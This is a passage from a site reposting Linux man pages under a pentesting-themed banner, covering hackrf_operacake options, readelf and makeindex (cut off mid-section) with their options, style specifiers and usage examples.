-o, –address <n>: specify a particular operacake by address [default: 0x00]

-a <n>: set port A connection

-b <n>: set port B connection

-f <min:max:port>: automatically assign <port> for range <min:max> in MHz

-l, –list: list available operacake boards

-g, –gpio_test: test GPIO functionality of an opera cake

Usage:

-h, –help: this help

-d, –device <n>: specify a particular device by serial number

-o, –address <n>: specify a particular operacake by address [default: 0x00]

-a <n>: set port A connection

-b <n>: set port B connection

-f <min:max:port>: automatically assign <port> for range <min:max> in MHz

-l, –list: list available operacake boards

-g, –gpio_test: test GPIO functionality of an opera cake

SEE ALSO

The primary source of documentation is the wiki on github:

https://github.com/mossmann/hackrf/wiki

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

43 - Linux cli command x86_64-w64-mingw32-readelf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32-readelf and provides detailed information about the command x86_64-w64-mingw32-readelf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32-readelf.

NAME 🖥️ x86_64-w64-mingw32-readelf 🖥️

display information about ELF files

SYNOPSIS

readelf [-a|–all] [-h|–file-header] [-l|–program-headers|–segments] [-S|–section-headers|–sections] [-g|–section-groups] [-t|–section-details] [-e|–headers] [-s|–syms|–symbols] [–dyn-syms|–lto-syms] [–sym-base=[0|8|10|16]] [–demangle*=style*|–no-demangle] [–quiet] [–recurse-limit|–no-recurse-limit] [-U method|–unicode=method] [-X|–extra-sym-info|–no-extra-sym-info] [-n|–notes] [-r|–relocs] [-u|–unwind] [-d|–dynamic] [-V|–version-info] [-A|–arch-specific] [-D|–use-dynamic] [-L|–lint|–enable-checks] [-x <number or name>|–hex-dump=<number or name>] [-p <number or name>|–string-dump=<number or name>] [-R <number or name>|–relocated-dump=<number or name>] [-j <number or name>|–display-section=<number or name>] [-z|–decompress] [-c|–archive-index] [-w[lLiaprmfFsoORtUuTgAck]| –debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=str-offsets,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links]] [-wK|–debug-dump=follow-links] [-wN|–debug-dump=no-follow-links] [-wD|–debug-dump=use-debuginfod] [-wE|–debug-dump=do-not-use-debuginfod] [-P|–process-links] [–dwarf-depth=n] [–dwarf-start=n] [–ctf=section] [–ctf-parent=section] [–ctf-symbols=section] [–ctf-strings=section] [–sframe=section] [-I|–histogram] [-v|–version] [-W|–wide] [-T|–silent-truncation] [-H|–help] elffile

DESCRIPTION

readelf displays information about one or more ELF format object files. The options control what particular information to display.

elffile… are the object files to be examined. 32-bit and 64-bit ELF files are supported, as are archives containing ELF files.

This program performs a similar function to objdump but it goes into more detail and it exists independently of the BFD library, so if there is a bug in BFD then readelf will not be affected.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent. At least one option besides -v or -H must be given.

-a

–all

Equivalent to specifying –file-header, –program-headers, –sections, –symbols, –relocs, –dynamic, –notes, –version-info, –arch-specific, –unwind, –section-groups and –histogram. Note - this option does not enable –use-dynamic itself, so if that option is not present on the command line then dynamic symbols and dynamic relocs will not be displayed.

-h

–file-header

Displays the information contained in the ELF header at the start of the file.

-l

–program-headers

–segments

Displays the information contained in the file’s segment headers, if it has any.

–quiet
Suppress “no symbols” diagnostic.

-S

–sections

–section-headers

Displays the information contained in the file’s section headers, if it has any.

-g

–section-groups

Displays the information contained in the file’s section groups, if it has any.

-t

–section-details

Displays the detailed section information. Implies -S.

-s

–symbols

–syms

Displays the entries in symbol table section of the file, if it has one. If a symbol has version information associated with it then this is displayed as well. The version string is displayed as a suffix to the symbol name, preceded by an @ character. For example foo@VER_1. If the version is the default version to be used when resolving unversioned references to the symbol then it is displayed as a suffix preceded by two @ characters. For example foo@@VER_2.

–dyn-syms
Displays the entries in dynamic symbol table section of the file, if it has one. The output format is the same as the format used by the –syms option.

–lto-syms
Displays the contents of any LTO symbol tables in the file.

–sym-base=[0|8|10|16]
Forces the size field of the symbol table to use the given base. Any unrecognized options will be treated as 0. –sym-base=0 represents the default and legacy behaviour. This will output sizes as decimal for numbers less than 100000. For sizes 100000 and greater hexadecimal notation will be used with a 0x prefix. –sym-base=8 will give the symbol sizes in octal. –sym-base=10 will always give the symbol sizes in decimal. –sym-base=16 will always give the symbol sizes in hexadecimal with a 0x prefix.

-C

–demangle[=style]

Decode (demangle) low-level symbol names into user-level names. This makes C++ function names readable. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

–no-demangle
Do not demangle low-level symbol names. This is the default.

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected.

-U [d|i|l|e|x|h]

–unicode=[default|invalid|locale|escape|hex|highlight]

Controls the display of non-ASCII characters in identifier names. The default (–unicode=locale or –unicode=default) is to treat them as multibyte characters and display them in the current locale. All other versions of this option treat the bytes as UTF-8 encoded values and attempt to interpret them. If they cannot be interpreted or if the –unicode=invalid option is used then they are displayed as a sequence of hex bytes, encloses in curly parethesis characters. Using the –unicode=escape option will display the characters as as unicode escape sequences (\uxxxx). Using the –unicode=hex will display the characters as hex byte sequences enclosed between angle brackets. Using the –unicode=highlight will display the characters as unicode escape sequences but it will also highlighted them in red, assuming that colouring is supported by the output device. The colouring is intended to draw attention to the presence of unicode sequences when they might not be expected.

-X

–extra-sym-info

When displaying details of symbols, include extra information not normally presented. Currently this just adds the name of the section referenced by the symbol’s index field, if there is one. In the future more information may be displayed when this option is enabled. Enabling this option effectively enables the –wide option as well, at least when displaying symbol information.

–no-extra-sym-info
Disables the effect of the –extra-sym-info option. This is the default.

-e

–headers

Display all the headers in the file. Equivalent to -h -l -S.

-n

–notes

Displays the contents of the NOTE segments and/or sections, if any.

-r

–relocs

Displays the contents of the file’s relocation section, if it has one.

-u

–unwind

Displays the contents of the file’s unwind section, if it has one. Only the unwind sections for IA64 ELF files, as well as ARM unwind tables (.ARM.exidx / .ARM.extab) are currently supported. If support is not yet implemented for your architecture you could try dumping the contents of the .eh_frames section using the –debug-dump=frames or –debug-dump=frames-interp options.

-d

–dynamic

Displays the contents of the file’s dynamic section, if it has one.

-V

–version-info

Displays the contents of the version sections in the file, it they exist.

-A

–arch-specific

Displays architecture-specific information in the file, if there is any.

-D

–use-dynamic

When displaying symbols, this option makes readelf use the symbol hash tables in the file’s dynamic section, rather than the symbol table sections. When displaying relocations, this option makes readelf display the dynamic relocations rather than the static relocations.

-L

–lint

–enable-checks

Displays warning messages about possible problems with the file(s) being examined. If used on its own then all of the contents of the file(s) will be examined. If used with one of the dumping options then the warning messages will only be produced for the things being displayed.

-x <number or name>

–hex-dump=<number or name>

Displays the contents of the indicated section as a hexadecimal bytes. A number identifies a particular section by index in the section table; any other string identifies all sections with that name in the object file. This option can be repeated multiple times on the command line in order to request multiple hex dumps.

-R <number or name>

–relocated-dump=<number or name>

Displays the contents of the indicated section as a hexadecimal bytes. A number identifies a particular section by index in the section table; any other string identifies all sections with that name in the object file. The contents of the section will be relocated before they are displayed. This option can be repeated multiple times on the command line in order to request multiple relocated dumps.

-p <number or name>

–string-dump=<number or name>

Displays the contents of the indicated section as printable strings. A number identifies a particular section by index in the section table; any other string identifies all sections with that name in the object file. This option can be repeated multiple times on the command line in order to request multiple string dumps.

-j <number or name>

–display-section

Displays the contents of the indicated section according to its section header type. Sections containing relocations will be displayed as if the –relocations option had been used, sections contains symbols will be displayed as if the –syms option had been used and so on. A number identifies a particular section by index in the section table; any other string identifies all sections with that name in the input file(s). This option can be repeated multiple times on the command line in order to request multiple section dumps.

-z

–decompress

Requests that the section(s) being dumped by x, R or p options are decompressed before being displayed. If the section(s) are not compressed then they are displayed as is.

-c

–archive-index

Displays the file symbol index information contained in the header part of binary archives. Performs the same function as the t command to ar, but without using the BFD library.

-w[lLiaprmfFsOoRtUuTgAckK]

–debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=str-offsets,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links,=follow-links]

Displays the contents of the DWARF debug sections in the file, if any are present. Compressed debug sections are automatically decompressed (temporarily) before they are displayed. If one or more of the optional letters or words follows the switch then only those type(s) of data will be dumped. The letters and words refer to the following information:

“a”

“=abbrev”

Displays the contents of the .debug_abbrev section.

“A”

“=addr”

Displays the contents of the .debug_addr section.

“c”

“=cu_index”

Displays the contents of the .debug_cu_index and/or .debug_tu_index sections.

“f”

“=frames”

Display the raw contents of a .debug_frame section.

“F”

“=frames-interp”

Display the interpreted contents of a .debug_frame section.

“g”

“=gdb_index”

Displays the contents of the .gdb_index and/or .debug_names sections.

“i”

“=info”

Displays the contents of the .debug_info section. Note: the output from this option can also be restricted by the use of the –dwarf-depth and –dwarf-start options.

“k”

“=links”

Displays the contents of the .gnu_debuglink, .gnu_debugaltlink and .debug_sup sections, if any of them are present. Also displays any links to separate dwarf object files (dwo), if they are specified by the DW_AT_GNU_dwo_name or DW_AT_dwo_name attributes in the .debug_info section.

“K”

“=follow-links”

Display the contents of any selected debug sections that are found in linked, separate debug info file(s). This can result in multiple versions of the same debug section being displayed if it exists in more than one file. In addition, when displaying DWARF attributes, if a form is found that references the separate debug info file, then the referenced contents will also be displayed. Note - in some distributions this option is enabled by default. It can be disabled via the N debug option. The default can be chosen when configuring the binutils via the –enable-follow-debug-links=yes or –enable-follow-debug-links=no options. If these are not used then the default is to enable the following of debug links. Note - if support for the debuginfod protocol was enabled when the binutils were built then this option will also include an attempt to contact any debuginfod servers mentioned in the DEBUGINFOD_URLS environment variable. This could take some time to resolve. This behaviour can be disabled via the =do-not-use-debuginfod debug option.

“N”

“=no-follow-links”

Disables the following of links to separate debug info files.

“D”

“=use-debuginfod”

Enables contacting debuginfod servers if there is a need to follow debug links. This is the default behaviour.

“E”

“=do-not-use-debuginfod”

Disables contacting debuginfod servers when there is a need to follow debug links.

“l”

“=rawline”

Displays the contents of the .debug_line section in a raw format.

“L”

“=decodedline”

Displays the interpreted contents of the .debug_line section.

“m”

“=macro”

Displays the contents of the .debug_macro and/or .debug_macinfo sections.

“o”

“=loc”

Displays the contents of the .debug_loc and/or .debug_loclists sections.

“O”

“=str-offsets”

Displays the contents of the .debug_str_offsets section.

“p”

“=pubnames”

Displays the contents of the .debug_pubnames and/or .debug_gnu_pubnames sections.

“r”

“=aranges”

Displays the contents of the .debug_aranges section.

“R”

“=Ranges”

Displays the contents of the .debug_ranges and/or .debug_rnglists sections.

“s”

“=str”

Displays the contents of the .debug_str, .debug_line_str and/or .debug_str_offsets sections.

“t”

“=pubtype”

Displays the contents of the .debug_pubtypes and/or .debug_gnu_pubtypes sections.

“T”

“=trace_aranges”

Displays the contents of the .trace_aranges section.

“u”

“=trace_abbrev”

Displays the contents of the .trace_abbrev section.

“U”

“=trace_info”

Displays the contents of the .trace_info section.

Note: displaying the contents of .debug_static_funcs, .debug_static_vars and debug_weaknames sections is not currently supported.

–dwarf-depth=n
Limit the dump of the .debug_info section to n children. This is only useful with –debug-dump=info. The default is to print all DIEs; the special value 0 for n will also have this effect. With a non-zero value for n, DIEs at or deeper than n levels will not be printed. The range for n is zero-based.

–dwarf-start=n
Print only DIEs beginning with the DIE numbered n. This is only useful with –debug-dump=info. If specified, this option will suppress printing of any header information and all DIEs before the DIE numbered n. Only siblings and children of the specified DIE will be printed. This can be used in conjunction with –dwarf-depth.

-P

–process-links

Display the contents of non-debug sections found in separate debuginfo files that are linked to the main file. This option automatically implies the -wK option, and only sections requested by other command line options will be displayed.

–ctf[=section]
Display the contents of the specified CTF section. CTF sections themselves contain many subsections, all of which are displayed in order. By default, display the name of the section named .ctf, which is the name emitted by ld.

–ctf-parent=member
If the CTF section contains ambiguously-defined types, it will consist of an archive of many CTF dictionaries, all inheriting from one dictionary containing unambiguous types. This member is by default named .ctf, like the section containing it, but it is possible to change this name using the ctf_link_set_memb_name_changer function at link time. When looking at CTF archives that have been created by a linker that uses the name changer to rename the parent archive member, –ctf-parent can be used to specify the name used for the parent.

–ctf-parent-section=section
This option lets you pick a completely different section for the CTF parent dictionary containing unambiguous types than for the child dictionaries that contain the ambiguous remainder. The linker does not emit ELF objects structured like this, but some third-party linkers may. It’s also convenient to inspect CTF written out as multiple raw files to compose them with objcopy, which can put them in different ELF sections but not in different members of a single CTF dict.

–ctf-symbols=section

–ctf-strings=section

Specify the name of another section from which the CTF file can inherit strings and symbols. By default, the .symtab and its linked string table are used. If either of –ctf-symbols or –ctf-strings is specified, the other must be specified as well.

-I

–histogram

Display a histogram of bucket list lengths when displaying the contents of the symbol tables.

-v

–version

Display the version number of readelf.

-W

–wide

Don’t break output lines to fit into 80 columns. By default readelf breaks section header and segment listing lines for 64-bit ELF files, so that they fit into 80 columns. This option causes readelf to print each section header resp. each segment one a single line, which is far more readable on terminals wider than 80 columns.

-T

–silent-truncation

Normally when readelf is displaying a symbol name, and it has to truncate the name to fit into an 80 column display, it will add a suffix of [...] to the name. This command line option disables this behaviour, allowing 5 more characters of the name to be displayed and restoring the old behaviour of readelf (prior to release 2.35).

-H

–help

Display the command-line options understood by readelf.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

objdump (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

44 - Linux cli command makeindex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command makeindex and provides detailed information about the command makeindex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the makeindex.

NAME 🖥️ makeindex 🖥️

a general purpose, formatter-independent index processor

SYNOPSIS

makeindex [-c] [-g] [-i] [-l] [-o ind] [-p num] [-q] [-r] [-s sfile] [-t log] [-L] [-T] [idx0 idx1 idx2. . .]

DESCRIPTION

The program makeindex is a general purpose hierarchical index generator; it accepts one or more input files (often produced by a text formatter such as TeX (tex(1L)) or troff(1), sorts the entries, and produces an output file which can be formatted. The index can have up to three levels (0, 1, and 2) of subitem nesting. The way in which words are flagged for indexing within the main document is specific to the formatter used; makeindex does not automate the process of selecting these words. As the output index is hierarchical, makeindex can be considered complementary to the awk(1)-based make.index(1L) system of Bentley and Kernighan, which is specific to troff(1), generates non-hierarchical indices, and employs a much simpler syntax for indicating index entries. For illustration of use with troff and TeX, see the section EXAMPLES below.

The formats of the input and output files are specified in a style file; by default, input is assumed to be a .idx file, as generated by LaTeX.

Unless specified explicitly, the base name of the first input file (idx0) is used to determine the names of other files. For each input file name specified, a file of that name is sought. If this file is not found and the file name has no extension, the extension .idx is appended. If no file with this name is found, makeindex aborts.

If exactly one input file was given and no explicit style file was specified using -s, makeindex uses a file with the extension .mst as default style file (when present).

For important notes on how to select index keywords, see the document by Lamport cited below. As an issue separate from selecting index keywords, a systematic mechanism for placing index terms in a document is suggested in Index Preparation and Processing, a paper cited below.

OPTIONS

-c
Compress intermediate blanks (ignoring leading and trailing blanks and tabs). By default, blanks in the index key are retained.

-g
Employ German word ordering in the index, in accord with rules set forth in DIN 5007. By default, makeindex employs a word ordering in which precedence is: symbols, numbers, uppercase letters, lowercase letters. The sequence in German word ordering is: symbols, lowercase letters, uppercase letters, numbers. Additionally, this option enables makeindex to recognize the German TeX-commands {“a, “o, “u and “s} as {ae, oe, ue and ss} during the sorting of the entries. The quote character must be redefined in a style file (for example, redefine quote as ‘+’). If the quote character is not redefined, makeindex will produce an error message and abort.

-i
Take input from stdin. When this option is specified and -o is not, output is written to stdout.

-l
Letter ordering; by default, word ordering is used (see the ORDERING section).

-o* ind*
Employ ind as the output index file. By default, the file name is created by appending the extension .ind to the base name of the first input file (idx0).

-p* num*
Set the starting page number of the output index file to be num (useful when the index file is to be formatted separately). The argument num may be numerical or one of the following:

any
The starting page is the last source page number plus 1.

odd
The starting page is the first odd page following the last source page number.

even
The starting page is the first even page following the last source page number.

The last source page is obtained by searching backward in the log file for the first instance of a number included within paired square brackets ([. . .]). If a page number is missing or the log file is not found, no attempt will be made to set the starting page number. The source log file name is determined by appending the extension .log to the base name of the first input file (idx0).

-q
Quiet mode; send no messages to stderr. By default, progress and error messages are sent to stderr as well as to the transcript file.

-r
Disable implicit page range formation; page ranges must be created by using explicit range operators; see SPECIAL EFFECTS below. By default, three or more successive pages are automatically abbreviated as a range (e.g. 1—5).

-s* sty*
Employ sty as the style file (no default). The environment variable INDEXSTYLE defines the path where the style file should be found.

-t* log*
Employ log as the transcript file. By default, the file name is created by appending the extension .ilg to the base name of the first input file (idx0).

-L
sort based on locale settings. Not available on all systems.

-T
special support for Thai documents. Not available on all systems.

STYLE FILE

The style file informs makeindex about the format of the .idx input files and the intended format of the final output file; examples appear below. This file can reside anywhere in the path defined by the environment variable INDEXSTYLE. The style file contains a list of <specifier,* attribute*> pairs. There are two types of specifiers: input and output. Pairs do not have to appear in any particular order. A line begun by `%’ is a comment. In the following list of specifiers and arguments, <string> is an arbitrary string delimited by double quotes (". . .”), <char> is a single letter embraced by single quotes (’. . .’), and <number> is a nonnegative integer. The maximum length of a <string> is 2048. A literal backslash or quote must be escaped (by a backslash). Anything not specified in the style file will be assigned a default value, which is shown at the head of the rightmost column.

INPUT STYLE SPECIFIERS

actual <char>
‘@’

Symbol indicating that the next entry is to appear in the output file.

arg_close <char>
‘}’

Closing delimiter for the index entry argument.

arg_open <char>
‘{’

Opening delimiter for the index entry argument.

encap <char>
‘|’

Symbol indicating that the rest of the argument list is to be used as the encapsulating command for the page number.

escape <char>
‘'

Symbol which escapes the following letter, unless its preceding letter is escape. Note: quote is used to escape the letter which immediately follows it, but if it is preceded by escape, it is treated as a ordinary character. These two symbols must be distinct.

keyword <string>
“\indexentry”

Command which tells makeindex that its argument is an index entry.

level <char>
‘!’

Delimiter denoting a new level of subitem.

page_compositor <string>
“-”

Delimiter separating parts of a composite page number (see SPECIAL EFFECTS below).

quote <char>
‘”’

Note: quote is used to escape the letter which immediately follows it, but if it is preceded by escape, it is treated as a ordinary character. These two symbols must be distinct.

range_close <char>
‘)’

Closing delimiter indicating the end of an explicit page range.

range_open <char>
‘(’

Opening delimiter indicating the beginning of an explicit page range.

OUTPUT STYLE SPECIFIERS

preamble <string>
“\begin{theindex} "

Preamble of output file.

postamble <string>
"

\end{theindex} "

Postamble of output file.

setpage_prefix <string>
" \setcounter{page}{”

Prefix of command which sets the starting page number.

setpage_suffix <string>
“} "

Suffix of command which sets the starting page number.

group_skip <string>
"

\indexspace "

Vertical space to be inserted before a new group begins.

headings_flag <string>
0

Flag indicating treatment of new group headers, which are inserted when before a new group (symbols, numbers, and the 26 letters): positive values cause an uppercase letter to be inserted between prefix and suffix, and negative values cause a lowercase letter to be inserted (default is 0, which produces no header).

heading_prefix <string>
"”

Letter heading prefix to be inserted before a new letter begins.

heading_suffix <string>
"”

Letter heading suffix to be inserted when a new letter begins.

symhead_positive <string>
“Symbols”

Heading for symbols to be inserted if headings_flag is positive.

symhead_negative <string>
“symbols”

Heading for symbols to be inserted if headings_flag is negative.

numhead_positive <string>
“Numbers”

Heading for numbers to be inserted if headings_flag is positive.

numhead_negative <string>
“numbers”

Heading for numbers to be inserted if headings_flag is negative.

item_0 <string>
" \item "

Command to be inserted between two primary (level 0) items.

item_1 <string>
" \subitem "

Command to be inserted between two secondary (level 1) items.

item_2 <string>
" \subsubitem "

Command to be inserted between two level 2 items.

item_01 <string>
" \subitem "

Command to be inserted between a level 0 item and a level 1 item.

item_x1 <string>
" \subitem "

Command to be inserted between a level 0 item and a level 1 item, where the level 0 item does not have associated page numbers.

item_12 <string>
" \subsubitem "

Command to be inserted between a level 1 item and a level 2 item.

item_x2 <string>
" \subsubitem "

Command to be inserted between a level 1 item and a level 2 item, where the level 1 item does not have associated page numbers.

delim_0 <string>
“, "

Delimiter to be inserted between a level 0 key and its first page number (default: comma followed by a blank).

delim_1 <string>
“, "

Delimiter to be inserted between a level 1 key and its first page number (default: comma followed by a blank).

delim_2 <string>
“, "

Delimiter to be inserted between a level 2 key and its first page number (default: comma followed by a blank).

delim_n <string>
“, "

Delimiter to be inserted between two page numbers for the same key in any level (default: comma followed by a blank).

delim_r <string>
“–”

Delimiter to be inserted between the starting and ending page numbers of a range.

delim_t <string>
"”

Delimiter to be inserted at the end of a page list. This delimiter has no effect on entries which have no associated page list.

encap_prefix <string>
“"

First part of prefix for the command which encapsulates the page number.

encap_infix <string>
“{”

Second part of prefix for the command which encapsulates the page number.

encap_suffix <string>
“}”.

Suffix for the command which encapsulates the page number.

page_precedence <string>
“rnaRA”.

Page type precedence order. The default specifies: lowercase roman, numeric/arabic, lowercase alphabetic, uppercase roman, uppercase alphabetic.

line_max <number>
72

Maximum length of a line in the output, beyond which a line wraps.

indent_space <string>
" "

Space to be inserted in front of a wrapped line (default: two tabs).

indent_length <number>
16

Length of indent_space (default: 16, equivalent to 2 tabs).

suffix_2p <string>
"”

Delimiter to replace the range delimiter and the second page number of a two page list. When present, it overrides delim_r. Example: “f.”.

suffix_3p <string>
"”

Delimiter to replace the range delimiter and the second page number of a three page list. When present, it overrides delim_r and suffix_mp. Example: “ff.”.

suffix_mp <string>
"”

Delimiter to replace the range delimiter and the second page number of a multiple page list (three or more pages). When present, it overrides delim_r. Example: “f.”.

EXAMPLES

TeX EXAMPLE

The following example shows a style file called book.ist, which defines an index for a book which can be formatted independently of the main source:

preamble “\documentstyle[12pt]{book} \begin{document} \begin{theindex} {\small " postamble "

}

\end{theindex}
\end{document}

"

Assuming that a particular book style requires the index (as well as any chapters) to start from an odd page number, and that the input file is named foo.idx, the following command line produces output in file footmp.ind:

makeindex -s book.ist -o footmp.ind -p odd foo

Here a non-default output file name is used to avoid clobbering the output for the book itself (presumably foo.dvi, which would have been the default name for the index output file!).

TROFF EXAMPLE

A sample control file for creating an index, which we will assume resides in the file sample.ist:

keyword “IX:” preamble “.\” start of index output ".\” enter two column mode .2C .SH .ce INDEX .XS INDEX .XE .R .ps 9p .vs 11p .sp .de I1 .ti 0.25i .. .de I2 .ti 0.5i ..” postamble " .\” end of index output" setpage_prefix " .nr % " setpage_suffix "" group_skip " .sp 1.0" headings_flag 1 heading_prefix " .IS " heading_suffix " .IE" item_0 " .br " item_1 " .I1 " item_2 " .I2 " item_01 " .I1 " item_x1 " .I1 " item_12 " .I2 " item_x2 " .I2 " delim_0 “, " delim_1 “, " delim_2 “, " delim_r “-” delim_t “.” encap_prefix “\fB” encap_infix "” encap_suffix “\fP” indent_space "” indent_length 0

The local macro package may require modification, as in this example of an extension to the -ms macros (note that at some sites, this macro should replace a pre-existing macro of the same name):

. .de IX .ie ‘\n(.z’’ .tm IX: $1 $2 $3 $4 $5 $6 $7 $8 $9 {\n(PN} .el !.IX $1 $2 $3 $4 $5 $6 $7 $8 $9 {\n(PN} ..

(note that the string {\n(PN} is separated from the rest of the line by a tab. If your local macro package does not contain this extension, just include those lines at the beginning of your file. Here is a simple troff(1) input file, which we will assume is named sample.txt:

This is a sample file to test the Imakeindex P(1L) program, and see .IX {indexing!programs!C language} .IX {makeindex@ Imakeindex P(1L)} .bp .rs .IX {Knuth} .IX {typesetting!computer-aided} how well it functions in the Itroff P(1) environment.

Note that index entries are indicated by the .IX macro, which causes the following text to be written to stdout along with the current page number.

CREATING THE INDEX FILE IN THE BOURNE SHELL

To create an input file for makeindex, in the Bourne shell environment, do the equivalent at your site of the command:

psroff -ms -Tpsc -t sample.txt > /dev/null 2> sample.tmp

Some sites will require ditroff instead of psroff. To filter out any genuine error messages, invoke grep(1):

grep '^IX: ' sample.tmp > sample.idx

CREATING THE INDEX FILE USING UCSF ENHANCED TROFF/TRANSCRIPT

With UCSF Enhanced troff/TRANSCRIPT, the -I option of psroff(1L) can produce both formatter output and an index file:

psroff -ms -I sample.inp -Tpsc sample.txt

If it is wished to suppress the formatter output:

psroff -ms -I sample.inp -Tpsc -t sample.txt > /dev/null

COMPLETING THE INDEX

Any of the above procedures leaves the input for makeindex in sample.inp. The next step is to invoke makeindex:

makeindex -s sample.ist sample.idx

This leaves troff(1)-ready output in the file sample.ind.

ORDERING

By default, makeindex assumes word ordering; if the -l option is in effect, letter ordering is used. In word ordering, a blank precedes any letter in the alphabet, whereas in letter ordering, it does not count at all. This is illustrated by the following example:

word order letter order
sea lion seal
seal sea lion

Numbers are always sorted in numeric order. For instance,

9 (nine), 123
10 (ten), see Derek, Bo

Letters are first sorted without regard to case; when words are identical, the uppercase version precedes its lowercase counterpart.

A special symbol is defined here to be any character not appearing in the union of digits and the English alphabetic characters. Patterns starting with special symbols precede numbers, which precede patterns starting with letters. As a special case, a string starting with a digit but mixed with non-digits is considered to be a pattern starting with a special character.

SPECIAL EFFECTS

Entries such as

\indexentry{alpha}{1} \indexentry{alpha!beta}{3} \indexentry{alpha!beta!gamma}{10}

in the input file will be converted to

\item alpha, 1    \subitem beta, 3       \subsubitem gamma, 10

in the output index file. Notice that the level symbol (`!’) is used above to delimit hierarchical levels.

It is possible to make an item appear in a designated form by using the actual (`@’) operator. For instance,

\indexentry{alpha@{\it alpha\/}}{1}

will become

\item {\it alpha\/}, 1

after processing. The pattern preceding `@’ is used as sort key, whereas the one following it is written to the output file. Note that two appearances of the same key, one with and one without the actual operator, are regarded as distinct entries.

The item, subitem, and subsubitem fields may have individual sort keys:

\indexentry{aa@{\it aa/}!bb@{\it bb/}!cc@{\it cc/}}{1}

This will be converted to

\item {\it aa}, 1    \subitem {\it bb}, 3       \subsubitem {\it cc}, 10

It is possible to encapsulate a page number with a designated command using the encap (`|’) operator:

\indexentry{alpha|bold}{1}

will be converted to

\item alpha, old{1}

where, with a suitable definition for TeX, old{n} will expand to {f n}. In this example, the three output attributes associated with page encapsulation encap_prefix, encap_infix, and encap_suffix, correspond to backslash, left brace, and right brace, respectively. This mechanism allows page numbers to be set in different fonts. For example, the page where the definition of a keyword appears can be in one font, the location of a primary example can be in another font, and other appearances in yet a third font.

The encap operator can also be used to create cross references in the index:

\indexentry{alpha|see{beta}}{1}

will become

\item alpha, \see{beta}{1}

in the output file, where

\see{beta}{1}

will expand to

{\it see\/} beta

Note that in a cross reference like this the page number disappears.

A pair of encap concatenated with range_open (`|(’) and range_close (`|)’) creates an explicit page range:

\indexentry{alpha|(}{1} \indexentry{alpha|)}{5}

will become

\item alpha, 1—5

Intermediate pages indexed by the same key will be merged into the range implicitly. This is especially useful when an entire section about a particular subject is to be indexed, in which case only the range opening and closing operators need to be inserted at the beginning and end of the section. Explicit page range formation can also include an extra command to set the page range in a designated font:

\indexentry{alpha|(bold}{1} \indexentry{alpha|)}{5}

will become

\item alpha, old{1--5}

Several potential problems are worth mentioning. First, entries like

